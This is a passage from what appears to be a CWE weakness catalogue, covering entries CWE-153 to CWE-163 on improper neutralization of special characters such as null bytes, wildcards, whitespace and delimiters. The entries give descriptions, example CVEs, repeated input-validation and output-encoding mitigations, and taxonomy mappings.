When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		138	Improper Neutralization of Special Elements	<b>699</b>	285
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Research Gaps**

Under-studied.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Macro Symbol
Software Fault Patterns	SFP24	Tainted input to command

## CWE-153: Improper Neutralization of Substitution Characters

Weakness ID: 153 (*Weakness Variant*)

Status: Draft

**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as substitution characters when they are sent to a downstream component.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2002-0770	Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure.

**Potential Mitigations**

Developers should anticipate that substitution characters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		138	Improper Neutralization of Special Elements	<b>699</b> <b>1000</b>	285
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Research Gaps**

Under-studied.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Substitution Character
Software Fault Patterns	SFP24	Tainted input to command

## CWE-154: Improper Neutralization of Variable Name Delimiters

Weakness ID: 154 (*Weakness Variant*)

Status: Incomplete

**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as variable name delimiters when they are sent to a downstream component.

**Extended Description**

As data is parsed, an injected delimiter may cause the process to take unexpected actions that result in an attack. Example: "\$" for an environment variable.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2002-0770	Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure.
CVE-2005-0129	"%" variable is expanded by wildcard function into disallowed commands.

**Potential Mitigations**

Developers should anticipate that variable name delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		138	Improper Neutralization of Special Elements	<b>699</b>	285
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>1000</b>	1388
				<b>888</b>	

**Research Gaps**

Under-studied.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Variable Name Delimiter
Software Fault Patterns	SFP24	Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
15	Command Delimiters	

## CWE-155: Improper Neutralization of Wildcards or Matching Symbols

Weakness ID: 155 (Weakness Variant)

Status: Draft

**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as wildcards or matching symbols when they are sent to a downstream component.

**Extended Description**

As data is parsed, an injected element may cause the process to take unexpected actions.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2001-0334	Wildcards generate long string on expansion.
CVE-2002-0433	Bypass file restrictions using wildcard character.

Reference	Description
CVE-2002-1010	Bypass file restrictions using wildcard character.
CVE-2004-1962	SQL injection involving "/"**/" sequences.

### Potential Mitigations

Developers should anticipate that wildcard or matching elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

#### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Implementation

##### Output Encoding




While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

#### Implementation

##### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		138	Improper Neutralization of Special Elements	<b>699</b>	285
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
ParentOf		56	<i>Path Equivalence: "filedir*" (Wildcard)</i>	1000	88

### Research Gaps

Under-studied.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Wildcard or Matching Element
Software Fault Patterns	SFP24	Tainted input to command

## CWE-156: Improper Neutralization of Whitespace

Weakness ID: 156 (Weakness Variant)

Status: Draft

**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as whitespace when they are sent to a downstream component.

**Extended Description**

This can include space, tab, etc.

**Alternate Terms****White space****Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2002-0637	MIE. virus protection bypass with RFC violations involving extra whitespace, or missing whitespace.
CVE-2003-1015	MIE. whitespace interpreted differently by mail clients.
CVE-2004-0942	CPU consumption with MIME headers containing lines with many space characters, probably due to algorithmic complexity (RESOURCE.AMP.ALG).

**Potential Mitigations**

Developers should anticipate that whitespace will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	Count	Page
ChildOf		138	Improper Neutralization of Special Elements	699	285
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1388

**Relationship Notes**

Can overlap other separator characters or delimiters.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER	SPEC.WHITESPACE	White Space
Software Fault Patterns	SFP24	Tainted input to command

## CWE-157: Failure to Sanitize Paired Delimiters

**Weakness ID:** 157 (*Weakness Variant*)**Status:** Draft**Description****Summary**

The software does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces.

**Extended Description**

Paired delimiters might include:

- < and > angle brackets
- ( and ) parentheses
- { and } braces
- [ and ] square brackets
- " " double quotes
- ' ' single quotes

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- Language-independent

**Common Consequences****Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2000-1165	Crash via message without closing ">".
CVE-2004-0956	Crash via missing paired delimiter (open double-quote but no closing double-quote).
CVE-2005-2933	Buffer overflow via mailbox name with an opening double quote but missing a closing double quote, causing a larger copy than expected.

**Potential Mitigations**

Developers should anticipate that grouping elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.



**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.


**Implementation****Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	✓	Page
ChildOf		138	Improper Neutralization of Special Elements	<b>699</b>	285
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Research Gaps**

Under-studied.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Grouping Element / Paired Delimiter
Software Fault Patterns	SFP24	Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
15	Command Delimiters	

## CWE-158: Improper Neutralization of Null Byte or NUL Character

Weakness ID: 158 (Weakness Variant)

Status: Incomplete

**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component.

**Extended Description**

As data is parsed, an injected NUL character or null byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted. This could then be used to inject potentially dangerous input that occurs after the null byte or otherwise bypass validation routines and other protection mechanisms.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2000-0149	Web server allows remote attackers to view the source code for CGI programs via a null character (%00) at the end of a URL.
CVE-2000-0671	Web server earlier allows allows remote attackers to bypass access restrictions, list directory contents, and read source code by inserting a null character (%00) in the URL.
CVE-2001-0738	Logging system allows an attacker to cause a denial of service (hang) by causing null bytes to be placed in log messages.
CVE-2001-1140	Web server allows source code for executable programs to be read via a null character (%00) at the end of a request.
CVE-2002-1025	Application server allows remote attackers to read JSP source code via an encoded null byte in an HTTP GET request, which causes the server to send the .JSP file unparsed.
CVE-2002-1031	Protection mechanism for limiting file access can be bypassed using a null character (%00) at the end of the directory name.
CVE-2002-1774	Null character in MIME header allows detection bypass.
CVE-2003-0768	XSS protection mechanism only checks for sequences with an alphabetical character following a (<), so a non-alphabetical or null character (%00) following a < may be processed.
CVE-2004-0189	Decoding function in proxy allows regular expression bypass in ACLs via URLs with null characters.
CVE-2005-2008	Source code disclosure using trailing null.
CVE-2005-2061	Trailing null allows file include.
CVE-2005-3153	Null byte bypasses PHP regexp check (interaction error).
CVE-2005-3293	Source code disclosure using trailing null.
CVE-2005-4155	Null byte bypasses PHP regexp check (interaction error).

**Potential Mitigations**

Developers should anticipate that null characters or null bytes will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.



When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		138	Improper Neutralization of Special Elements	<b>699</b> <b>1000</b>	285
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Relationship Notes**

This can be a factor in multiple interpretation errors, other interaction errors, filename equivalence, etc.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Null Character / Null Byte
WASC	28	Null Byte Injection
Software Fault Patterns	SFP24	Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
52	Embedding NULL Bytes	
53	Postfix, Null Terminate, and Backslash	

**References**

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "NUL Character Injection", Page 411.. 1st Edition. Addison Wesley. 2006.

## CWE-159: Failure to Sanitize Special Element

Weakness ID: 159 (Weakness Class)

Status: Draft

**Description****Summary**

Weaknesses in this attack-focused category do not properly filter and interpret special elements in user-controlled input which could cause adverse effect on the software behavior and integrity.

**Terminology Notes**

Precise terminology for the underlying weaknesses does not exist. Therefore, these weaknesses use the terminology associated with the manipulation.

**Time of Introduction**

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Unexpected state

### Potential Mitigations

Developers should anticipate that special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

#### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Implementation

##### Output Encoding







While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

#### Implementation

##### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		138	Improper Neutralization of Special Elements	<b>699</b> <b>1000</b>	285
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
ParentOf		160	<i>Improper Neutralization of Leading Special Elements</i>	<b>699</b> <b>1000</b>	316
ParentOf		162	<i>Improper Neutralization of Trailing Special Elements</i>	<b>699</b> <b>1000</b>	319
ParentOf		164	<i>Improper Neutralization of Internal Special Elements</i>	<b>699</b> <b>1000</b>	321
ParentOf		166	<i>Improper Handling of Missing Special Element</i>	<b>699</b> <b>1000</b>	324

Nature	Type	ID	Name	V	Page
ParentOf	B	167	Improper Handling of Additional Special Element	699 1000	325
ParentOf	B	168	Improper Handling of Inconsistent Special Elements	699 1000	326

### Research Gaps

Customized languages and grammars, even those that are specific to a particular product, are potential sources of weaknesses that are related to special elements. However, most researchers concentrate on the most commonly used representations for data transmission, such as HTML and SQL. Any representation that is commonly used is likely to be a rich source of weaknesses; researchers are encouraged to investigate previously unexplored representations.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Common Special Element Manipulations
Software Fault Patterns	SFP24	Tainted input to command

### Maintenance Notes

The list of children for this entry is far from complete.

## CWE-160: Improper Neutralization of Leading Special Elements

Weakness ID: 160 (*Weakness Variant*)

Status: Incomplete

### Description

#### Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

#### Extended Description

As data is parsed, improperly handled leading special elements may cause the process to take unexpected actions that result in an attack.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Unexpected state

### Potential Mitigations

Developers should anticipate that leading special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.





**Implementation****Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	☑	Page
ChildOf		159	Failure to Sanitize Special Element	<b>699</b>	314
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
ParentOf		37	<i>Path Traversal: '/absolute/pathname/here'</i>	1000	67
ParentOf		161	<i>Improper Neutralization of Multiple Leading Special Elements</i>	<b>699</b> <b>1000</b>	317

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Leading Special Element
Software Fault Patterns	SFP24	Tainted input to command

## CWE-161: Improper Neutralization of Multiple Leading Special Elements

Weakness ID: 161 (Weakness Variant)

Status: Incomplete

**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

**Extended Description**



As data is parsed, improperly handled multiple leading special elements may cause the process to take unexpected actions that result in an attack.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Integrity

##### Unexpected state

#### Potential Mitigations

Developers should anticipate that multiple leading special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

##### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

##### Implementation

##### Output Encoding




While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

##### Implementation

##### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		160	Improper Neutralization of Leading Special Elements	<b>699</b> <b>1000</b>	316
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
ParentOf		50	<i>Path Equivalence: '//multiple/leading/slash'</i>	1000	83

#### Taxonomy Mappings



Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Multiple Leading Special Elements
Software Fault Patterns	SFP24	Tainted input to command

## CWE-162: Improper Neutralization of Trailing Special Elements

Weakness ID: 162 (*Weakness Variant*)

Status: Incomplete

### Description

#### Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

#### Extended Description

As data is parsed, improperly handled trailing special elements may cause the process to take unexpected actions that result in an attack.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Unexpected state

### Potential Mitigations

Developers should anticipate that trailing special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

#### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Implementation

##### Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		159	Failure to Sanitize Special Element	<b>699</b> <b>1000</b>	314
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
ParentOf		42	Path Equivalence: 'filename.' (Trailing Dot)	1000	78
ParentOf		46	Path Equivalence: 'filename ' (Trailing Space)	1000	80
ParentOf		49	Path Equivalence: 'filename/' (Trailing Slash)	1000	83
ParentOf		54	Path Equivalence: 'filedir\' (Trailing Backslash)	1000	86
ParentOf		163	Improper Neutralization of Multiple Trailing Special Elements	<b>699</b> <b>1000</b>	320

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Trailing Special Element
Software Fault Patterns	SFP24	Tainted input to command

## CWE-163: Improper Neutralization of Multiple Trailing Special Elements

Weakness ID: 163 (Weakness Variant)

Status: Incomplete

**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

**Extended Description**

As data is parsed, improperly handled multiple trailing special elements may cause the process to take unexpected actions that result in an attack.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state****Potential Mitigations**

Developers should anticipate that multiple trailing special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation****Input Validation**

